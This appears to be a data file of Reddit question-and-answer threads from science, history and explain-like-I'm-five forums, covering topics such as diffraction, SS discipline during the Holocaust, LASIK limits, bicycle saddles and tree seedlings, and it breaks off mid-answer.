{"q_id": "b626gh", "title": "At which size do particles start casting shadows instead of behaving according to the Fraunhofer diffraction?", "selftext": "We just learnt about Rayleigh, Mie and Fraunhofer and neither our Prof nor his contacts could sufficiently answer at which particle size the particle becomes too large for Fraunhofer diffraction and instead casts a shadow, like a regular ball for example. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b626gh/at_which_size_do_particles_start_casting_shadows/", "answers": {"a_id": ["ejhmj8u", "ejhmw2q", "ejjs8je"], "score": [4, 6, 3], "text": ["You need to compare the coherence length of your light beam to the path difference of interfering beams. The coherence length tells you at which distance from your position the electric field is still the expected sinusoidal wave, and not part of a different wave pattern. The coherence length is on the order of a micrometer for regular light sources and can be many kilometers for a specialized laser. If the coherence length is too small, there will be no first order interference peaks.", "Diffraction happens at the edge of an object, regardless of it's size. However, the distance at which the pattern resolves is proportional to the size.\n\nFor example: at the right light frequency, the moon casts a diffraction pattern on the Earth.", "What you are asking for is called the Fresnel number F=r^2 / 2zw, where r=radius of the object, z is the distance from the object to the wall or whatever is behind the object and w the wavelength.\n\nFor F >  > 1 you get shadows and for F <  < 1 you get fraunhoffer diffraction. F~1 is known as the Fresnel region."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2wwasc", "title": "The SS arrested one of their commanders, Amon Goeth, for malnourishing and maltreating his prisoners. Why... would they even care about that?", "selftext": "_URL_0_\n\n^ Read that in wikipedia. Is it accurate that he was arrested by his own organization for not providing enough food to prisoners and violating SS rules regarding punishment?\n\nIf so, why would the SS even care about stuff like that. I thought their raison d'etre was to get rid of as many undesirables as possible, so wouldn't they think Goeth was doing a good thing by starving and shooting prisoners?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2wwasc/the_ss_arrested_one_of_their_commanders_amon/", "answers": {"a_id": ["couvpgm"], "score": [41], "text": ["This is not a unique case. Another camp commander who was tried and convicted for misconduct was Karl Otto Koch, the first commander of Buchenwald. He was executed in early 1945 for embezzlement and the unlawful murder of three prisoners.\n\nThe purpose of concentration camps was not \"to get rid of as many undesirables as possible\". That was the purpose of the death camps. See [this comment](_URL_0_) for the difference between the two. And the only people sent to death camps to be gotten rid of were Jews and Gypsies.\n\nConcentration camps were prisons and originally, from 1933 to 1939, they were prisons for German citizens only. As such, they were subject to rules and regulations. There certainly was a lot of brutality, sadism and random killings, but in theory none of that was allowed. And sometimes the SS, which had its own courts in which it tried those of its members that got out of line in one way or another, deemed it necessary to bring those involved to trial. There were two main things that could get you in trouble: financial shenanigans, and tarnishing the reputation of the SS. \n\nThe SS liked to see itself as an elite organisation whose members laboured selflessly and honourably for the good of the Reich (state) and the Volk (people). Even when they were shooting or gassing millions of Jewish men, women and children, they were doing so not out of base motives or bloodlust, not like crazed killers, not sadistically, but in a disciplined, detached manner, because it was necessary for the survival of the German race. That is what they told themselves. Here's Himmler addressing an SS gathering in October 1943 (bolding mine):\n\n >  I want to also mention a very difficult subject ... before you, with complete candor. It should be discussed amongst us, yet nevertheless, we will never speak about it in public. Just as we did not hesitate on June 30 to carry out our duty as ordered, and stand comrades who had failed against the wall and shoot them -- about which we have never spoken, and never will speak. That was, thank God, a kind of tact natural to us, a foregone conclusion of that tact, that we have never conversed about it amongst ourselves, never spoken about it, everyone ... shuddered, and everyone was clear that the next time, he would do the same thing again, if it were commanded and necessary. \n\n >  I am talking about the evacuation of the Jews, the extermination of the Jewish people. It is one of those things that is easily said. [quickly] \"The Jewish people is being exterminated,\" every Party member will tell you, \"perfectly clear, it's part of our plans, we're eliminating the Jews, exterminating them, a small matter\". [less quickly] And then along they all come, all the 80 million upright Germans, and each one has his decent Jew. [mockingly] They say: all the others are swine, but here is a first-class Jew. [a few people laugh] And ... [audience cough] [carefully] ... none of them has seen it, has endured it. Most of you will know what it means when 100 bodies lie together, when 500 are there or when there are 1000. **And ... to have seen this through and -- with the exception of human weakness -- to have remained decent, has made us hard and is a page of glory** never mentioned and never to be mentioned. Because we know how difficult things would be, if today in every city during the bomb attacks, the burdens of war and the privations, we still had Jews as secret saboteurs, agitators and instigators. We would probably be at the same stage as 16/17, if the Jews still resided in the body of the German people.\n\n >  We have taken away the riches that they had, and ... I have given a strict order, which Obergruppenf\u00fchrer Pohl has carried out, we have delivered these riches [carefully] to the Reich, to the State. We have taken nothing from them for ourselves. A few, who have offended against this, will be judged in accordance with an order, [loudly] that I gave at the beginning: he who takes even one Mark of this is a dead man. [less loudly] A number of SS men have offended against this order. They are very few, and they will be dead men [yells] WITHOUT MERCY! We have the moral right, we had the duty to our people to do it, to kill this people who would kill us. We however do not have the right to enrich ourselves with even one fur, with one Mark, with one cigarette, with one watch, with anything. That we do not have. Because we don't want, at the end of all this, to get sick and die from the same bacillus that we have exterminated. I will never see it happen that even one ... bit of putrefaction comes in contact with us, or takes root in us. On the contrary, where it might try to take root, we will burn it out together. But altogether we can say: [slowly, carefully] **We have carried out this most difficult task for the love of our people. And we have suffered no defect within us, in our soul, or in our character.**\n\nIn light of this, I would like to present the case of SS Untersturmf\u00fchrer Max T\u00e4ubner who was court martialed in May 1943 and sentenced to ten years, expelled from the SS,  and deprived of his civil rights for an additional ten years, for\n\na) three unauthorized mass killings of jews, and in particular the excessively violent and sadistic manner of the third mass killing \u2013 although the court recognised that \"the Jews have to be exterminated and none of the Jews that were killed is any great loss\", nevertheless \"the accused allowed his men to act with such vicious brutality that they conducted themselves under his command like a savage horde\".\n\nb) taking pictures of mass executions and showing them to family and friends while on leave.\n\nc) the unauthorized killing of a Ukrainian militia man.\n\nT\u00e4ubner was tried because he broke his oath of secrecy on the killings (the Holocaust was *Geheime Reichssache* or a state secret), because he allowed and encouraged his men to behave in a manner unbecoming to elite SS members, and because the killings were unauthorised: they were not scheduled and ordered but done on his own initiative. There were rules and regulations to be followed even in the process of exterminating the Jews.\n\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Amon_Goeth#Dismissal_and_capture"], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/2dertf/land_of_the_concentrationdeath_camps/cjotsgg"]]}
{"q_id": "c8hpjm", "title": "what is the self-torque property of light?", "selftext": "There was a bunch of articles about scientists discovering a new property of light called \"self-torque\" this week.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c8hpjm/eli5_what_is_the_selftorque_property_of_light/", "answers": {"a_id": ["esnij69"], "score": [7], "text": ["Light is a *transverse* wave, and a *particle*. As a wave it can even be circularly polarized, (Imagine a wave down a rope but instead you send a corkscrew wave down.) however what scientists discovered wasn't actually about circular polarization at all. As a particle light has *angular momentum* and this spin of the particle is separate from it's polarity. Scientists found a way to shoot a Lazer pulse of photons that seem to speed up their spin or *increase their angular momentum* in midair."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ljhz1", "title": "Where does the theory colloquially known as \"selfish-gene theory\" currently stand?", "selftext": "Is the selfish-gene theory generally considered the \"correct\" view of evolution, or is there a newer/more-refined theory that has superseded it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ljhz1/where_does_the_theory_colloquially_known_as/", "answers": {"a_id": ["cbzz0z2"], "score": [2], "text": ["The persistence of this theory (popularized by Richard Dawkins) primarily depends on our understanding of the mechanisms that control heritability, and because of that it is evolving. At the time when Dawkins first introduced this idea or when W D Hamilton released his work on inclusive fitness we really didn't understand the finer points of genetics like polygenic inheritance or what has been even more interesting, Epigenetics. However if what you are more specifically asking  is whether evidence has accumulated to support  ideas about inclusive fitness general, then the answer is yes. _URL_0_ \nAn article here shows that, altruism is very strongly observed in populations where the populations are so genetically similar that virtually every member benefits from inclusive fitness. \nBut a lot of the compenents of the original book where this theory was published have become quite controversial. There are some expansive claims, (probably take flack for saying this) like the reduction of will and human behavior all to the transference of a gene when we know  the situation to be vastly more complicated than that. It has also been critisized for primarily depending on mendelian genetics as a central part of its thesis. In fact famous biologist such as E.O Wilson, have often times criticized this theory. However the science behind the theory has found wide acceptance especially in biological and behavioral evolution.\n\nTL;DR - The science on which this theory is based has gained wide spread acceptance "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pnas.org/content/87/7/2496.short"]]}
{"q_id": "19vw5w", "title": "Historians in your field of study what is your favorite meal/food?", "selftext": "After reading Game of Thrones and all the details about the food Tyroin Lanister eats got me thinking about some of the cuisine that the people of the past ate.\n\nNot sure how well documented the meals and cuisines were. I have heard that there is an Roman recipe that may be the oldest known recipe. \n\nBut any way in your field of study what food do you wish you could of experience. Please describe as best as possible. Thanks.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19vw5w/historians_in_your_field_of_study_what_is_your/", "answers": {"a_id": ["c8rtt6t", "c8rzcxn"], "score": [7, 3], "text": ["I have been fortunate enough to cook and consume a few 18th century dishes, from common soldier's fare to more complex officer's meals. There is a certain purity to salt pork prepared over the open flame. It is crispy, fatty, and powerfully salty - perfect for a salt addict like myself. It works very well with bread,  flour flatcakes (flour and water combined to make a simple dough), or, my favorite, a hash of fried potatoes with a liberal dose of black pepper. We would usually fry the bacon crispy in a spider skillet, then fry the potatoes in the grease.\n\nFor officer's fair, I'm partial to a rum and juice mixture called Second Horse Punch. Sweet and subtly strong, it cools on a hot day and pleasantly numbs.", "Appalachian history food.\nAs with most foods that came out of this region it was done mainly out of a necessity to make quality food go as long as possible by cutting it with other food items to add bulk. My favorite food would have to be chicken and dumplings which is simply chunks of boiled chicken mixed with flour dumplings. It takes one chicken and makes it last for a few days."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4xpkda", "title": "is crooked teeth an advantageous trait in humans? is wanting \"straight\" teeth purely a cosmetic desire?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xpkda/eli5_is_crooked_teeth_an_advantageous_trait_in/", "answers": {"a_id": ["d6hdfl1", "d6hdl8g", "d6hdyy6", "d6i5rwb"], "score": [22, 2, 6, 3], "text": ["Crooked teeth, particularly those that overlap, can trap or hold food particles more readily, leading to the possibility of faster decay. Not a good thing.\n\n", "No, look at the wild animals.  You don't see them with wonky teeth.  People with bad teeth can survive and reproduce the trait, but wild animals can't afford it.\n\nDogs and people live cushy lives compared to animals and so they can have bad teeth.\n\nHere's a woman who identifies a coydog skull as not a coyote or coywolf skull by the fact that it has bad teeth, something you don't see in wild animals: _URL_0_", "Yes, straight teeth are an advantage. Looking at human skeletal samples from pre-agriculture, EVERYONE had straight teeth. But as agriculture changed diet and food patterns, plus technology like eating utensils and knives to cut up food were introduced, crooked teeth and things like overbite and overheat became endemic to humans. Crooked teeth are a condition of modern technology, it's not the way we evolved teeth to be. ", "Traits we get through evolution do not necessarily have to be an advantage, they can just not be a big enough drawback to be an evolutionary factor. Man having nipples, as another example, have no real survival/reproductive value, but they won't get you killed, so the genes for them don't get sorted out. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=kZjS3YrNkRo"], [], []]}
{"q_id": "2wgul1", "title": "Do we know how long a typical gladiator fight would last? Would it be a matter of brief minutes, or could it last around an hour or more?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2wgul1/do_we_know_how_long_a_typical_gladiator_fight/", "answers": {"a_id": ["coqut2a", "coqutpc", "coqw9wz", "coqwuk4", "coscogy"], "score": [580, 429, 204, 122, 2], "text": ["This leads to the question if some gladiator fights may have been partially \"staged\". In other words, if the gladiators were instructed to \"fight\" for a set amount of time before actually trying to kill one another. Gladiator fights were a form of entertainment after all, how entertaining is it to watch a 30 second fight?", "Follow up question, is it true that deaths were very rare in the arena? I'd imagine it would be far too costly to continue training new fighters if they died quickly, so is the plethora of deaths a Hollywood creation?", "We have a small idea on how long the fights went on for. Since we have ads for Games that have survived. For example in Pompeii we see the following add\n\n\"A hunt, and twenty pairs of gladiators belonging to Marcus Tullius will fight at Pompeii on November 4-7.\"  CIL IV.3.4 #9979)\n\nSo 20 fights took 4 days along with a hunt. So the idea appears to be that they would take quite a while. 5 fights a day for four days would indicate that around half an hour would be the expected length obviously some would be shorter others would be longer. There are many fascinating little facts about the games. One of my favourites is a tombstone in Turkey which has a gladiator complaining about his opponent cheating.\n", "Roland Auguet suggested differing amounts of times for battles which were dependent on which gladiator types were doing the fighting in his book _Cruelty and Civilization: The Roman Games_. Among the longest lasting were the battles between the Andabates type of gladiator, who were fully armored and essentially blind in their full-visored helmets. They would essentially echolocate to try to find their opponent and then try to strike at the joints in the armor. Auguet suggests most of these battles ended due to exhaustion rather than a particularly well-struck blow. ", "Would it be fair to say that professional gladiators may have been their era's professional wrestlers? \n\nSo very skilled and capable of inflicting harm but more likely to put on a show of combat rather than an intent to kill? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5vbs2t", "title": "why do elementary school students have to memorize the times tables up to 12? why not 13 or 11?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vbs2t/eli5_why_do_elementary_school_students_have_to/", "answers": {"a_id": ["de0r7gg", "de0ue5p", "de0y97s", "de1aalt"], "score": [8, 7, 11, 5], "text": ["Eleven is easy, 12 is useful (inches in a foot), 13 is hard and of no more use than 14+, so 12 is a good stopping point.", "For the most part, you can understand most basic arithmetic with the first 12 digits. Anything more and we're needlessly complicating division and multiplication. 12x1-100 is more than enough for most applications rather than having to figure out, for example, 19x33 in your head.  \nPlus, it's all about prioritising. Would you rather have to spend twice as long learning twice the integers, or learn the minimum necessary for the majority of their math education so they can move on to more complicated scenarios? ", "This varies from place to place and from time to time. Going up to 12 is pretty common, but stopping at 10 is also fairly common.", "Places using the imperial system go up to 12 because it's based primarily on 12 so it makes the common multiples a bit easier. Countries using the metric system usually only teach to 10 because metric is base 10 and any number higher than 10 can be worked out only using 0-9."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4z3m29", "title": "Rats are nocturnal, how do rats in the New York City subway keep their circadian rhythm when they are devoid of any daylight?", "selftext": "I'm rather curious and Google was not able to pull any results.\n\nSince rats are nocturnal animals and they seem to be more active at night in the subways, how do they know their sleep cycles.\n\nJust from the standpoint the subway runs 24 hours a day yet there is no natural sunlight or things I could think of that would allow them to keep their rhythm?  I'm also aware rats probably run in/out of the subway systems and not all rats will live there.\n\nIf anything I would have guessed they would sleep at night when less trains run and there is very little action going on in the subway system.\n\nThoughts?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4z3m29/rats_are_nocturnal_how_do_rats_in_the_new_york/", "answers": {"a_id": ["d6t72qs"], "score": [2], "text": [" > If anything I would have guessed they would sleep at night when less trains run and there is very little action going on in the subway system.\n\nThat's when they are MOST active.  Rats are shy - they stay away from humans.  Less humans at night means more privacy for rat activity.  No need for keeping time with the Sun when the trains provide the rhythm."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3zp5ad", "title": "why do most bicycles seem to be made with horribly uncomfortable seats?", "selftext": "And as a separate question: Do these seats cause any harm (namely among professionals) over the long term?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zp5ad/eli5_why_do_most_bicycles_seem_to_be_made_with/", "answers": {"a_id": ["cynvvky", "cynzike", "cyoaona"], "score": [22, 2, 7], "text": ["As counter intuitive as it is, a soft squishy seat, such as the type found on a [beach cruiser](_URL_0_) is actually more uncomfortable for regular riding of longer distances.\n\nA good saddle is well spaced for your [sit bones](_URL_1_) and gender (wider seat for women) and some other features actually can be very comfortable for long periods in the saddle. Though it usually takes a week or so of regular riding to get used to sitting on a saddle. ", "Bicycles typically don't have seats. They have saddles.\n\nThe idea is that your weight isn't borne entirely by the saddle, because you're resting weight on the handlebars and putting force into the pedals.\n\nAs such, the way you ride the bike can affect how comfortable a saddle feels. Professionals tend to put more force into the pedals than casual cyclists, and they are generally, young, fit, flexible athletes. As such they can sometimes get away with riding positions that would be uncomfortable for others\n\nIncorrectly sized saddles, or saddles that are in the wrong position (either in terms of height or fore/aft position) can put weight on soft areas of your body which can cause discomfort and cause other problems. The pedalling action (and choice of clothing) can also cause chafing. Either of these, combined with bacteria on your skin can lead to saddle sores. Weight on nerves can cause numbing.\n\nBoth men and women can have issues with their genitals caused by bearing the weight in the wrong place.  There was a myth at one time that all cyclists either had erectile dysfunction or would eventually have it. Whilst this is too extreme a claim, an incorrectly fitting saddle can cause these problems.\n\nI'm not a doctor, but I imagine the majority of these issues go away if you stop cycling or fix the problem with a bicycle fit. Having had saddle sores I'd say that you're probably going to be forced to stop before permanent damage is caused because they are extremely painful.\n\nThere are some professional cyclists who have been forced to drop out of races due to saddle sores. e.g in 1987 Sean Kelly dropped out from a winning position from the Vuelta. My guess these days is that professional cyclists have better access to bike fitting tech and experience, team doctors and equipment that they will prevent a lot of issues in spite of the large number of hours they spend cycling. It's inevitable that some of them will get cycling related injuries and other medical issues related to their cycling.\n\nA well-fitting saddle, used with appropriate clothing can be comfortable enough for cycling for many hours. There is some acclimatization though. Many bike shops have demo saddles they will loan you to try them out on your bike.", "Lack of rider education makes it seem this way. One of the problems here is that there is little or no education available to the rider regarding how to select and use the proper saddle for your particular cycling application.\n\nFor example, that horribly tiny little painful looking saddle you see on expensive road bikes - it is designed specifically for a road cyclist in a particular environment, wearing padded shorts, and to absorb all the rider's weight on his two sit bones, with the rest of the saddle really only existing to keep him from falling off the saddle. Properly fitted, those painful looking saddles can be sat on for hundreds of miles at a time with no discomfort.\n\nTake that big beach cruiser saddle, which is only meant to be used for short, upright seated rides and try to use it on a road bike, the big saddle compresses your glutes and gives you cramps after only a short while, but it is very comfy to ride down the boardwalk to the ice cream stand.\n\nPrivate parts hurting? That is because you're sitting on that saddle incorrectly. Properly adjusted for you, your sit bones take all the weight, leaving your delicates alone. Chafing? Your saddle is too wide for you and/or you're wearing pants with seams.\n\nThe other educational part that is lacking is that everyone's bottom is sized different, but road saddles are lacking in size choices. It is very difficult to find the perfect saddle for your bottom. On a road bike it is the saddle who's two highest points correspond to your two sit bones. There are almost no bike shops who will take the time to explain to a novice cyclist these topics.\n\nAfter you find the right saddle, setting it up on the bike is also trial and error. Saddle orientation, height, forward/back are all variables contributing to comfort. Now add in handlebars - they have to be just the right height/distance to support some of your weight but not so much your hands get numb. Many people move the saddle to fix this and then complain that the saddle is at fault.\n\nInexpensive department store bikes aren't really made to be comfy. They're a starting point. It took me many years of riding to learn about and find the right saddle for me. When I did I bought 6 of them for safekeeping. (Selle SLR)\n\nI'm little, so the smaller the saddle the better for me. Bike saddles are application specific, but there's just no good education on what that means for the average cyclist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://venicebeachbicycles.com/wp-content/files/Pink-beach-cruiser-bicycle.jpg", "https://en.wikipedia.org/wiki/Ischial_tuberosity"], [], []]}
{"q_id": "71nhdy", "title": "Are there any challenges for parasites living in animal blood?", "selftext": "As far as I know, most habitats have qualities that challenge inhabitants, so I was wondering how a blood habitat would challenge a parasite living in it. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/71nhdy/are_there_any_challenges_for_parasites_living_in/", "answers": {"a_id": ["dnc407l", "dncfgxo", "dnchmq6", "dnco0tz", "dnd469c"], "score": [1038, 25, 7, 4, 2], "text": ["Parasites must overcome the host immune response. This is probably their greatest challenge. It also depends on the parasite, of course. Small parasites like malaria are well suited to live in the oxygen/nutrient rich blood of humans. \nParasites, like all other living things, also have other organisms that prey on them. Infectious bacteria and viruses have been found for nearly every living thing, so I doubt parasites are an exception. ", "One big challenge is just the body temperature of a warm-blooded organism.  As I understand it, this is one theory behind why warm-blooded organisms evolved in the first place.  The high temperatures inside a body are not ideal for most potential pathogens (perhaps not obligate parasites though).", "To add to what others are saying, especially about the host immune system- bacteria/microorganisms can evolve to actually use the host immune system. For example, it's stipulated that group A strep (the bacteria that gives you strep throat) has good defenses against macrophages (a type of white blood cell), and actually hides in them from other host defenses. ", "This is more a follow-up question than a direct answer, but wouldn't the biggest challenge for a parasite be spreading from one host to another?  As hosts are fairly self contained but the parasites are slowly killing the host they have a limited span in which to spread.", "Key things an organism needs to survive are: oxygen, food and warmth. Parasites will also need to have some way to reproduce to complete their life cycle. \n\nParasites that occupy the blood stream often stay by the lungs for the high o2 content and it also allows them to lay eggs which are subsequently coughed and swallowed and passed out through the digestive tract. See here for further detail: _URL_0_.\n\nFood would be acquired via absorbing nutrients from its surroundings. Warmth for the parasite would be maintained by the host. \n\nThe biggest challenge for a blood-parasite would be the host's immune system (depending on size). That said, some parasites are known to purposely induce an allergic response to induce coughing and wheezing to pass the eggs out of the lungs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://thorax.bmj.com/content/early/2010/09/29/thx.2009.132217"]]}
{"q_id": "1rsmb8", "title": "Are there any natural processes in which something grows in order to contain a toxin?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rsmb8/are_there_any_natural_processes_in_which/", "answers": {"a_id": ["cdrb70q", "cdss0u3", "cdqhxt6"], "score": [2, 2, 2], "text": ["There are structures in many cells that contain substances that would be toxic if they weren't contained within the structure.  Lysosomes for example contain digestive enzymes in an acidic solution.  These structures grow for the sole purpose of isolating otherwise toxic substances from the rest of the cell, keeping the cell safe and providing a distinct location for hazardous biochemical processes to take place.", "I can't give you an example of a structure built to contain (I think you're implying sequestration) a toxin, but I can give you evidence of acquiring a way to be resistant to a toxin. Many many bacteria produce toxins to kill other bacteria for environmental competition. These bacteria develop an anti-toxin or immunity protein to render the toxin harmless in them but active (toxic) in cells that don't have the immunity proteins. So, these bacteria have to evolve to have the immunity protein in order for the toxin to be made (or else it would kill them too!). Some of this comes from random mutagenesis in the genome to make a gene encode an immunity protein, some times the systems get picked up from the DNA of other dead bacteria in their environment.\n\nIn bacteria like E. coli, myxococcus xanthus these are toxin/antitoxin systems: _URL_0_\n\nE.coli (and Burkholderia) these are Contact-Dependent Inhibition (CDI) systems. (The articles on this are all scientific, a google search will give you a lot of abstracts to read, but I haven't found a good layman article).", "Could you explain a bit more? Do you mean a growth to surround a toxin and prevent it causing harm? I guess you could say antibodies 'grow' around toxins by recognising their structure and binding to them. This creates a shield to prevent the toxin interacting with the body. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Toxin-antitoxin_system"], ["http://en.wikipedia.org/wiki/Neutralizing_antibody"]]}
{"q_id": "4fdojm", "title": "Why can't LASIK give me super vision?", "selftext": "I've been tossing around LASIK eye surgery for a bit.  But I was wondering if eyesight can be corrected to 20/20, why not go for 20/10 or 20/5 or full on superpower 20/2.\nIs it a function of the operation of the eye not just the lenses that limits it?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4fdojm/why_cant_lasik_give_me_super_vision/", "answers": {"a_id": ["d27yj1o", "d27yu5h", "d2807al", "d2817f1", "d281c1y", "d28244m", "d28lk6q"], "score": [11, 18, 223, 144, 3, 6, 2], "text": ["From what I hear, a perfectly formed lens might give you 20/10 or 20/15 or something. Most peoples lenses deviate from a perfectly spherical curvature. Some of the imperfections can be corrected with glasses or lenses, but not complex curvature problems. LASIK apparently gives you the possibility of tuning the lens toward a perfect curvature - and the maximum attainable quality of your eyesight then comes down to the density of the receptors in your retina, or other limiting factors.", "LASIK works by reshaping your cornea, ie basically by removing material to change the shape. The cornea is rather thin and there is a limit to how much it can be ablated which in turn limits the level of correction you can apply. ", "Fixing lens defects only fixes the focus-- once the focus is perfect, you're limited by the resolution of the retina instead.  The number of rod and cone cells present are a rough analog to the number of pixels on a camera sensor, and no matter how crisp the focus gets it can't make any more cells.  \n\nYour vision can indeed be better than 20/20, but not to any degree you'd consider a superpower.  [This study of 2500 athletes](_URL_0_) found a few with vision as good as 20/9.  And correction can sometimes take a person from worse than 20/20 to better than 20/20, but not all defects are equally correctable, not all procedures go absolutely perfectly, and not all eyes have the same number of cells on the retina even when the first two bits go absolutely right... so there's no way to guarantee \"slightly-super-vision,\" even though it's possible. ", "Suppose you have a one megapixel camera, but the lens is bad so the pictures are blurry If you fix the lens, you can get a full megapixel out of it. But no matter how good the lens is, you're not getting two megapixels, since it simply doesn't have enough resolution. The same applies to your eyes. Fixing the lens isn't going to give you extra receptors in your retina.", "Like your cell phone camera the quality of your vision is determined by the quality of the used optics, the pixel number and size (number and sensitivity of the cells of your retina) and image processing unit (your visual cortex). LASIK can correct your lens (*), but doesn't upgrade your retina or brain.\n\n(*) Actually, it doesn't modify the lens, it just reshapes the layer of skin above it.", "About a year ago, a Canadian doctor claimed he had invented an implantable lens that could correct to 60/20 but that seems unrealistic (For reference, a young Charles Yeager's vision was determined to be 20/10 by the Army Air Corps and the lens isn't the only limit on spatial resolution.), so I wrote it off as vaporware. I don't think there have been any announcements since but [here's their website](_URL_0_), in case you'd like to see for yourself.\n\nThe last time my vision was tested, it was determined to be 20/15, with my glasses on but I don't notice a difference in distance vision with/without my glasses (if anything, I think I see better without, unless my lenses are in perfect condition), so I speculate that your vision would have to test *exceptionally* well, for there to be a practical advantage over 20/20.", "There ate two components to your vision. One is the optics, your cornea and lens. The other is the retina. Either can be the limiting factor for your vision. We can typically alter the optics by changing how the light focuses into your eyes with glasses/contacts/lasik/etc. But we can't change how sensitive your retina is. Some people have photoreceptors packed tighter together so they are capable of seeing clearer and farther with everything else being equal. Think of it like the number of pixels on your monitor. The more pixels you have, the better the resolution. Some people just have more tightly packed photoreceptors/pixels."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.optometricmanagement.com/articleviewer.aspx?articleid=71635"], [], [], ["http://www.ocumetics.com/"], []]}
{"q_id": "103fuc", "title": "why would someone steal a passport? why are they so valuable?", "selftext": "I recently started working in the International Education field and have to advise students that, when abroad, to keep their passports on them and hidden. I can explain why they wouldn't want to have their passports stolen (like being stranded in a foreign country), but a student just asked me why anyone would *want* to steal their passport. I could not give them a logical, coherent answer.\n\nSo, why, exactly, would someone want to steal your passport? What about it makes it valuable?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/103fuc/eli5_why_would_someone_steal_a_passport_why_are/", "answers": {"a_id": ["c6a1tn8"], "score": [3], "text": ["People can take them, forge the photo and/or some of the information, and suddenly you're in possession of an almost-real identity document with all of the builtin security features of an official one.  Thus, passports can be sold on the black market for a lot of money."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ld2x2", "title": "- why do i have the no pants in school/work/public dream?", "selftext": "Follow up question, why is it such a universally common dream for people to have?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ld2x2/eli5_why_do_i_have_the_no_pants_in/", "answers": {"a_id": ["c2roxzh", "c2roy2g", "c2roxzh", "c2roy2g"], "score": [3, 4, 3, 4], "text": ["Because you're a clich\u00e9d cartoon character? ", "I never had this dream.", "Because you're a clich\u00e9d cartoon character? ", "I never had this dream."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "bhkoou", "title": "a single tree might shed thousands of seeds a year, but most of these won't grow into anything. what starts the growth of a mighty tree?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhkoou/eli5_a_single_tree_might_shed_thousands_of_seeds/", "answers": {"a_id": ["eltkb57", "eltkbuo", "eltnz8v", "eltwp4i", "eltyun6", "eltyvki", "elu0b8g", "elu2gkb", "elu7c55", "elvn0ai", "elvnijh"], "score": [1198, 21, 149, 2, 4, 2, 2, 9, 16, 2, 2], "text": ["If you look closely, many trees are surrounded by saplings. Most won\u2019t make it to maturity because there isn\u2019t enough sunlight reaching them under the canopy of large trees. Sometimes, an old tree will die, allowing some saplings to grow until they become mighty and take the place of the dead tree. This type of \u201cgrowth from death\u201d happens in many ways. For example, some pine cones only open up when they get extremely hot during a forest fire. The fire revitalizes the nutrients in the soil and opens up the canopy, allowing light to reach the ground and new trees to grow.", "The right conditions basically. As you said many thousands of seeds are shed but only a few will make it into a tree and even fewer a mighty one. It basically comes down to where the parent tree is located. A tree needs lots of sunlight and the soil it stands in needs plenty of nutrients. The tree also needs water and the right climate which depends on the tree. There's also the issue of other competing trees who will battle over who gets the most sunlight and whose roots can cover the most area to get enough nutrients.\nThere's also the element of luck, maybe a big foresr fire breaks ut killing all trees, but the fire could also clear out the competition and a few trees survive and suddenly have free reign.", "It's actually the same process for most living things. The very *reason* that trees have so many seeds and frogs lay so many eggs is that most of them will die young (or as I prefer to think of it, go into the food chain and keep other living things alive).\n\nWhen Darwin talked about 'survival of the fittest' he based this on the fact that most offspring die.\n\nA seed must grow somewhere with good conditions. It must experience the right growing conditions (enough water, nutrients etc) and it must not be killed by being eaten, trodden on, or burned etc. \n\nTrees will live to all different ages. From 500,000 seeds, only 100,000 may germinate (think of all those squirrels eating acorns), only 50,000 may make it to a year old, only 10,000 may make it to two years, 500 to three years, 100 to four years, 50 to five years, 10 to ten years, and 1 to 500 years (I made these numbers up, but less trees will get through each stage)", "I live near some big sycamores and let me tell you thousands of tiny sycamores germinate in my lawn, borders, gutters, moss on the roof... I'm forever pulling baby sycamores out!", "So, different kinds of trees have different sprouting mechanisms. For example, pine cones can sprout when burnt (For example, a forest fire).\n\nA lot of trees have different ways of sprouting, but the vast majority of them evolved to fit their environment. For example, pine trees have adapted to the dense forest and when a forest fire comes, a bunch of nutrients and open space is created. Pine Trees adapted to 